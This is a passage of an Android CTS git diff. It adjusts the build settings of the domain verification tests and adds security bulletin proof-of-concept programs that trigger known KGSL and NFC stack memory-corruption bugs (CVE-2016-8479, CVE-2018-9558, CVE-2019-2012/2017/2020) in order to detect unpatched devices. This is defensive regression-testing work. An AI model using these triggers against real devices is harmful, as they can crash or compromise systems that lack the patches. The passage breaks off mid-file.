aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp1"],
}
@@ -47,6 +48,7 @@ android_test_helper_app {
"cts_defaults",
"CtsDomainVerificationTestDeclaringAppDefaults",
],
+ min_sdk_version: "31",
sdk_version: "test_current",
aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp2"],
}
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
index 8990d8433a0..9f954492643 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
@@ -21,10 +21,11 @@ android_test {
srcs: [ "src/**/*.kt" ],
test_suites: [
"cts",
+ "gts",
"device-tests",
],
defaults: ["cts_defaults"],
- sdk_version: "test_current",
+ min_sdk_version: "4",
static_libs: [
"androidx.test.ext.junit",
"androidx.test.rules",
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
index fba5376a6f6..ce89e2b203b 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
@@ -15,8 +15,13 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.packagemanager.verify.domain.device.standalone"
- >
+ xmlns:tools="http://schemas.android.com/tools"
+ package="com.android.cts.packagemanager.verify.domain.device.standalone"
+ >
+
+ <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17"
+ tools:overrideLibrary="com.android.cts.packagemanager.verify.domain.constants.android"
+ />
<application android:label="Device Test App" android:testOnly="true">
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index 95b86f5d0b2..e7afa10cb7a 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS domain verification device standalone test cases">
<option name="test-suite-tag" value="cts" />
+ <option name="test-suite-tag" value="gts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
@@ -23,6 +24,7 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="check-min-sdk" value="true" />
<option name="test-file-name" value="CtsDomainVerificationDeviceStandaloneTestCases.apk" />
<option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp1.apk" />
<option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp2.apk" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index 1861010befe..9401443a276 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -17,6 +17,9 @@
package com.android.cts.packagemanager.verify.domain.device.standalone
import android.content.pm.verify.domain.DomainVerificationUserState
+import android.os.Build
+import com.android.compatibility.common.util.ApiLevelUtil
+import com.android.compatibility.common.util.CtsDownstreamingTest
import com.android.compatibility.common.util.SystemUtil
import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
@@ -26,6 +29,8 @@ import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_P
import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
import com.google.common.truth.Truth.assertThat
+import org.junit.Assume.assumeTrue
+import org.junit.BeforeClass
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.runners.Parameterized
@@ -33,6 +38,14 @@ import org.junit.runners.Parameterized
@RunWith(Parameterized::class)
class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase(DOMAIN_1) {
+ companion object {
+ @JvmStatic
+ @BeforeClass
+ fun assumeAtLeastS() {
+ assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S))
+ }
+ }
+
@Test
fun launchVerified() {
setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -74,6 +87,7 @@ class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase
assertResolvesTo(browsers)
}
+ @CtsDownstreamingTest
@Test
fun launchSelectedPreservedOnUpdate() {
setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
@@ -162,6 +176,7 @@ class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase
assertResolvesTo(browsers)
}
+ @CtsDownstreamingTest
@Test
fun disableHandlingWhenVerifiedPreservedOnUpdate() {
setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -192,6 +207,7 @@ class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase
assertResolvesTo(browsers)
}
+ @CtsDownstreamingTest
@Test
fun disableHandlingWhenSelectedPreservedOnUpdate() {
setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
index 5e92d18651b..874d299f348 100644
--- a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
@@ -20,6 +20,7 @@ android_library {
name: "CtsDomainVerificationAndroidConstantsLibrary",
defaults: ["cts_defaults"],
srcs: ["src/**/*.kt"],
+ min_sdk_version: "31",
static_libs: [
"androidx.test.ext.junit",
"androidx.test.rules",
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index d3e6ea7c486..7770ebde437 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -29,9 +29,10 @@ java_test_host {
],
// Must match the package name in CtsTestCaseList.mk
libs: [
+ "compatibility-host-util",
"cts-tradefed",
+ "sts-host-util",
"tradefed",
- "compatibility-host-util",
],
}
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
new file mode 100644
index 00000000000..d03c2469bad
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
deleted file mode 100644
index f8d64e2c564..00000000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0481.txt
+++ /dev/null
@@ -1 +0,0 @@
-This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664
new file mode 100644
index 00000000000..21f7d245d99
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39664
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39804.heif b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
new file mode 100644
index 00000000000..1f95af0a2f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
index 326391e6f5e..11eb61eecae 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
@@ -39,6 +39,7 @@ cc_test {
"-Wno-format-nonliteral",
"-Wstrict-prototypes",
"-Wmissing-prototypes",
+ "-Wno-unused-but-set-variable",
"-Wno-unused-parameter",
"-Wno-unused-variable",
"-Wno-macro-redefined",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 5d4950ab4bb..78dcfcf1f3f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -124,39 +124,36 @@ static int set_affinity(int num) {
}
void* child_ioctl_0(void* no_use) {
- int ret = 1;
time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(1);
while (timer_active(test_started)) {
- ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+ ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
return NULL;
}
void* child_ioctl_1(void* no_use) {
- int ret = 1;
time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(2);
while (timer_active(test_started)) {
- ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+ ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
return NULL;
}
void* child_ioctl_2(void* no_use) {
- int ret = 1;
time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
set_affinity(3);
while (timer_active(test_started)) {
- ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
+ ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
kgsl_id = kdc.drawctxt_id;
}
return NULL;
@@ -166,8 +163,8 @@ int main() {
int i, ret;
time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
- kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
struct kgsl_drawctxt_destroy kdd = {0};
+ kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
/* bind_cpu */
set_affinity(0);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
index e20c0f222d0..8494e2c422d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -23,6 +23,16 @@
#define INITIAL_VALUE 0xBE
#define NUM_BYTES 1
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t *p_data);
@@ -33,18 +43,32 @@ void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
}
int main() {
- tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
- rw_init();
- rw_cb.p_cback = &poc_cback;
- p_t2t->state = RW_T2T_STATE_DETECT_TLV;
- p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
- p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
- p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
- p_t2t->bytes_count = NUM_BYTES;
- p_t2t->tlv_value[1] = UINT8_MAX;
- uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
- memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
- uint8_t data[T2T_READ_DATA_LEN];
- rw_t2t_handle_rsp(data);
- return EXIT_SUCCESS;
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = NUM_BYTES;
+ p_t2t->tlv_value[1] = UINT8_MAX;
+ p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+ uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
+ memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
+ uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
+ rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
+ return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
new file mode 100644
index 00000000000..78f51bd2e4a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2019-2012",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
new file mode 100644
index 00000000000..97556ba9501
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit (EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ if (ptr) {
+ memset(ptr, 0x0, size);
+ }
+ return ptr;
+}
+
+/* States */
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+ RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+enum {
+ P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void) event;
+ (void) p_rw_data;
+}
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {
+}
+
+void GKI_stop_timer(uint8_t) {
+}
+
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = { };
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+ GKI_init();
+ rw_init();
+
+ rw_cb.p_cback = &poc_cback;
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
+
+ p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
+
+ p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ FAIL_CHECK(p_data->data.p_data);
+
+ p_data->status = NFC_STATUS_OK;
+ p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
+ NFC_HDR *p_msg = (p_data->data).p_data;
+ p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+ uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1);
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+ uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+ p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL;
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+ NCI_NFCID2_LEN);
+
+ testInProgress = true;
+ p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
new file mode 100644
index 00000000000..5dac7f7abc3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2019-2017",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
new file mode 100644
index 00000000000..9ecc457f143
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <rw_int.h>
+#include <stdlib.h>
+#include "../includes/common.h"
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+uint8_t *p_data = nullptr;
+extern tRW_CB rw_cb;
+
+extern void rw_t2t_handle_rsp(uint8_t *p_data);
+
+void poc_cback(uint8_t, tRW_DATA *) {}
+
+void exit_handler(void) {
+ if (p_data) {
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ FAIL_CHECK(RW_SetActivatedTagType(&p_activate_params, &poc_cback) == NFC_STATUS_OK);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+ tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = 0;
+ p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+ rw_cb.p_cback = &poc_cback;
+ p_data = (uint8_t *)malloc(sizeof(uint8_t));
+ FAIL_CHECK(p_data);
+
+ testInProgress = true;
+ rw_t2t_handle_rsp(p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
new file mode 100644
index 00000000000..5fdbfdba161
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2019-2020",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
new file mode 100644
index 00000000000..ba4d950474e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#include <llcp_int.h>
+
+#define DEFAULT_SAP 1
+#define LENGTH 0
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+extern tLLCP_CB llcp_cb;
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+
+void GKI_freebuf(void* x) { (void)x; }
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+ (void)event;
